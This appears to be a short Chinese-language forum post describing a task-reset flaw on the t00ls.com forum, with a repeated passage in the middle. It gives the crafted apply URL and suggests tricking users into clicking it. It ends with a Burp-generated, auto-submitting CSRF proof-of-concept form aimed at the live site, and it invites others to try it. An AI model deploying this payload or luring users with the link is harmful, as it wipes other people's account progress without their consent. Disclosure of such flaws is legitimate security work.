场景本来这是一个申请任务领取奖励然后再等720小时继续再次申请的流程，进行中的任务是在新任务中没有申请的选项的
思路是抓取到申请任务的数据包修改申请id，利用的是申请生杀币任务的数据包修改为10则是新手上路及注册会员月工资领取任务的申请任务id
得出重新申请URL：https://www.t00ls.com/task.php?action=apply&id=10，然后通过申请能够把达到720小时的任务进度重新清空从新来过
能够把这个重新申请URL伪造成老六，诱骗点击就会重新申请清空
也能够利用csrf应该也可以，其他师傅可以试试能不能清空，这是一个小小有趣的发现哈哈哈危害并不是很大，虽然我的任务进度清零了呜呜呜
思路是抓取到申请任务的数据包修改申请id，利用的是申请生杀币任务的数据包修改为10则是新手上路及注册会员月工资领取任务的申请任务id
得出重新申请URL：https://www.t00ls.com/task.php?action=apply&id=10，然后通过申请能够把达到720小时的任务进度重新清空从新来过
能够把这个重新申请URL伪造成老六，诱骗点击就会重新申请清空
也能够利用csrf应该也可以，其他师傅可以试试能不能清空，这是一个小小有趣的发现哈哈哈危害并不是很大，虽然我的任务进度清零了呜呜呜
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://www.t00ls.com/task.php">
<input type="hidden" name="action" value="apply" />
<input type="hidden" name="id" value="10" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
sbbbb.cn 网络安全导航